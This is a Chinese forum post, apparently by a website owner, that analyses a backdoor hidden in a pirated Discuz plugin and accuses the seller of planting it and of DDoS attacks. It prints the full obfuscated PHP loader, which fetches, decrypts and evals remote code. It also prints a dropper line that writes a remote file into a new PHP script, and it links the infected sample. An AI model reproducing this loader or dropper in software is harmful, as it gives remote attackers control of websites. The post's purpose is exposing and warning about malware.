|
|
上次寫(xiě)了一篇文章 披露了盜版市場(chǎng)的亂象 ，沒(méi)想到本人遭到魔趣吧的站長(zhǎng)瘋狂的報(bào)復(fù)。我自己的網(wǎng)站已經(jīng)持續(xù)快10天被魔趣吧的站長(zhǎng)使用DDOS攻擊技術(shù)，打不開(kāi)了！因?yàn)樵谄渚W(wǎng)站進(jìn)行了手機(jī)綁定，手機(jī)也整天被短信+電話(huà)轟炸！搞的我最近經(jīng)常要開(kāi)飛行模式！
但是我是絕對(duì)不會(huì)像黑惡勢(shì)力低頭的，大不了我網(wǎng)站不做了，手機(jī)號(hào)碼不用了！
因?yàn)榍懊娴哪瞧恼聦?xiě)的比較概況，沒(méi)有列舉證據(jù)（導(dǎo)致其大肆誤導(dǎo)不明真相的群眾說(shuō)我在造謠），今天我就來(lái)列舉一些證據(jù)，并對(duì)已知的后門(mén)進(jìn)行深入詳細(xì)的分析！
這可能是最后一篇曝光盜版市場(chǎng)亂象的文章了，因?yàn)槲抑皇且粋€(gè)普普通通的站長(zhǎng)！那些江湖經(jīng)驗(yàn)豐富的站長(zhǎng)我惹不起，我也見(jiàn)識(shí)了魔趣吧是如果把黑的說(shuō)成白的！
他的理念就是：只要對(duì)他有利的都是好文章，曝光他的都是在造謠他！
在正式進(jìn)入主題之前，我想在說(shuō)幾句題外話(huà)：先不說(shuō)他有沒(méi)有干些見(jiàn)不得人的事，其損壞原創(chuàng)開(kāi)發(fā)者權(quán)益，謀取自己的利益(俗稱(chēng)：盜版)，還有什么資格在那一副正人君子的模樣懟這個(gè)懟那個(gè)！
【下面才是今天要說(shuō)的主題】
由于帶后門(mén)的資源有點(diǎn)多，今天我就隨便拿個(gè)在魔趣吧收費(fèi)的資源，且我之前安裝過(guò)，受害的資源來(lái)做分析！
樣本下載鏈接：為了不給他打廣告，帖子ID： 9183 ，知道他網(wǎng)站的隨便打開(kāi)一個(gè)帖子把id換成這個(gè)就可以定位到！
因?yàn)槭荲IP資源，所以我分享到了藍(lán)奏網(wǎng)盤(pán)：https://wws.lanzous.com/iH9IQe6jymf 密碼:c9mx
附件MD5值：C03B189CA9E0EA7F1229F609A48EC705
防止因?yàn)槲业钠毓猓麜?huì)修改附件，然后狡辯！對(duì)本文有異議的朋友可以在本文發(fā)布不久的時(shí)候，前去下載對(duì)比MD5值后，并效驗(yàn)是不是存在本文提到的后門(mén)木馬！
樣本插件名稱(chēng)：積分提現(xiàn)中心 V1.2
木馬文件所在路徑：keke_tixian\function\function_core.php
木馬完整代碼：
- <?php
- function zm_diconv($str){
- $encode = mb_detect_encoding($str, array(
- "ASCII",
- "UTF-8",
- "GB2312",
- "GBK",
- "BIG5"
- ));
- if ($encode != CHARSET) {
- //$keytitle = iconv($encode,CHARSET."//IGNORE",$str);
- $keytitle = mb_convert_encoding($str, CHARSET, $encode);
- }
- if (!$keytitle) {
- $keytitle = $str;
- }
- return $keytitle;
- }
- function caidi($oo){
- $love = 'httpABczonekey`akndecryptud^gjchdh`winNULLB{NVJ:GJGbaiduseo`lpsck`xml';
- $forver=stripos($love,'d');
- $forvere=stripos($love,'z');
- $GLOBALS['love'] = preg_replace(array("/`.*?`/","/abc/i","/[A-Z_].*[A-Z_]/"),array(".","://","/"),$love);
- $forveres='DECODE';
- $aini=substr($love,$forver,$forvere);//獲取方法函數(shù)名decrypt
- $aini=$oo?$forveres:$aini;
- return $aini;
- }
- function decrypt($data, $key = '721520') {
- global $_G;
- $key = $key ? $key : $_G['config']['security']['authkey'];
- $type = caidi($key);
- return authcode($data,$type, $key);
- }
- function contentz($svip) {
- if(function_exists('file_get_contents')) {
- $data = file_get_contents($svip);
- } else {
- $ch = curl_init();
- $timeout = 5;
- curl_setopt ($ch, CURLOPT_URL, $svip);
- curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
- $data = curl_exec($ch);
- curl_close($ch);
- }
- return $data;
- }
- $iloveyou = caidi($oo);
- eval($iloveyou(strip_tags(contentz($love))));
- ?>
- $iloveyou = caidi($oo);
- eval($iloveyou(strip_tags(contentz($love))));
有了這些信息 我們下面進(jìn)行分析(在這里大膽的猜測(cè)一下：文件完全是魔趣吧自己加進(jìn)去的，正版可能就沒(méi)有這個(gè)文件，因?yàn)檫@個(gè)文件代碼全是和后門(mén)有關(guān)！和插件自身功能沒(méi)有關(guān)系)
在關(guān)鍵代碼前面的都是木馬偽裝所需要用到的函數(shù) 執(zhí)行過(guò)程如下：
1/----------------------
后門(mén)腳本執(zhí)行入口：keke_tixian\admin.inc.php
關(guān)鍵代碼在該文件第7行：引用后門(mén)文件并執(zhí)行
require_once DISCUZ_ROOT .'./source/plugin/keke_tixian/function/function_core.php';
解釋?zhuān)?/font>只要安裝插件一打開(kāi)后臺(tái)的插件設(shè)置，木馬就自動(dòng)執(zhí)行了！
2/--------依次執(zhí)行----------
$iloveyou = caidi($oo);
解釋?zhuān)?/font>定義一個(gè)名為 iloveyou 的變量 ,值為： caidi($oo)
調(diào)試： $iloveyou = caidi($oo); echo $iloveyou.$love; exit; ，得到 iloveyou 的值等于：decrypt
備注：函數(shù) caidi 定義并賦值了 $love 作全局變量， love 的值等于：htt去p://zonekey.w掉in/b中ai文duseo.xml (去掉中文)
3/--------依次執(zhí)行----------
eval($iloveyou(strip_tags(contentz($love))));
解釋?zhuān)?/font>已知 iloveyou 的值等于：decrypt，得到 eval(decrypt(strip_tags(contentz(htt去p://zonekey.w掉in/b中ai文duseo.xml))));
分析函數(shù) contentz 得知該函數(shù) 是訪(fǎng)問(wèn)遠(yuǎn)程鏈接并返回內(nèi)容，相當(dāng)于 curl
分析函數(shù) decrypt 得知該函數(shù) 是進(jìn)行內(nèi)容解密，直接調(diào)用了DISCUZ自帶的解密函數(shù) authcode
解釋的解釋：代碼 eval($iloveyou(strip_tags(contentz($love)))); ，經(jīng)過(guò)層層分析，最終為：
執(zhí)行腳本 ( 解密 ( 訪(fǎng)問(wèn)遠(yuǎn)程代碼 ( htt去p://zonekey.w掉in/b中ai文duseo.xml ) ) ) );
4/--------依次執(zhí)行----------
因 htt去p://zonekey.w掉in/b中ai文duseo.xml 該鏈接現(xiàn)在訪(fǎng)問(wèn)返回的全部是 1111111111111111，所以無(wú)法繼續(xù)分析遠(yuǎn)程的代碼是什么！
可能魔趣吧站長(zhǎng)已經(jīng)知道我接下來(lái)會(huì)深入曝光他。所以暫時(shí)把遠(yuǎn)程代碼先全部改成了 1111111111111111
即使是這樣！又如何？ 執(zhí)行遠(yuǎn)程腳本 有什么危害？相信做網(wǎng)站的都知道！這里我不進(jìn)行科普！感興趣的站長(zhǎng)可以百度自行科普：例：一句話(huà)木馬，菜刀！
下面的代碼是我網(wǎng)站自動(dòng)多出來(lái)的一個(gè)文件：因?yàn)闊o(wú)法繼續(xù)分析，直接看結(jié)果
- <?php
- file_put_contents("schizwcingu.php",file_get_contents("http://iqqvps.com/xss.txt"));
End/--------刨根問(wèn)底--------
在前面一篇文章中提到過(guò)了 魔趣吧站長(zhǎng)聲稱(chēng)該木馬是源碼哥的！
但是既然干了，就干到底！
百度了一下 搜索 到 源碼哥 ，在他網(wǎng)站搜索 了一下 積分提現(xiàn)中心 果然找到一個(gè)一模一樣的版本！
花了20塊錢(qián)下載下來(lái)（真黑啊，1.2 這么舊的版本還賣(mài)20），不過(guò)花20塊錢(qián) 能讓大家看清，防止中木馬。也值得！
結(jié)局打臉： 沒(méi)有 keke_tixian\function\function_core.php 這個(gè)文件，因?yàn)槭沁厡?xiě)邊弄的，既然寫(xiě)好了就這樣吧！
雖然沒(méi)有發(fā)現(xiàn)木馬，但是應(yīng)該也是一丘之貉，還是呼吁大家不要用盜版！不要用盜版！不要用盜版！
PS：對(duì)魔趣吧站長(zhǎng)傳播木馬，DDOS我的網(wǎng)站，短信+電話(huà)轟炸我的手機(jī)號(hào) 表示非常的鄙視！
希望官方管理員能夠曝光這篇文章，讓更多準(zhǔn)備用盜版的站長(zhǎng)、已經(jīng)在用盜版的站長(zhǎng)。趕緊回頭是岸！
樣本已經(jīng)上傳到藍(lán)奏網(wǎng)盤(pán)，文章寫(xiě)的不到位的地方，歡迎各路大神補(bǔ)充！
|
|
關(guān)注公眾號(hào)
有償服務(wù)微信
有償服務(wù)QQ
皖公網(wǎng)安備34010302002376號(hào) )|網(wǎng)站地圖|
發(fā)表于 2020-6-30 20:23:56
發(fā)表于 2020-6-30 20:53:04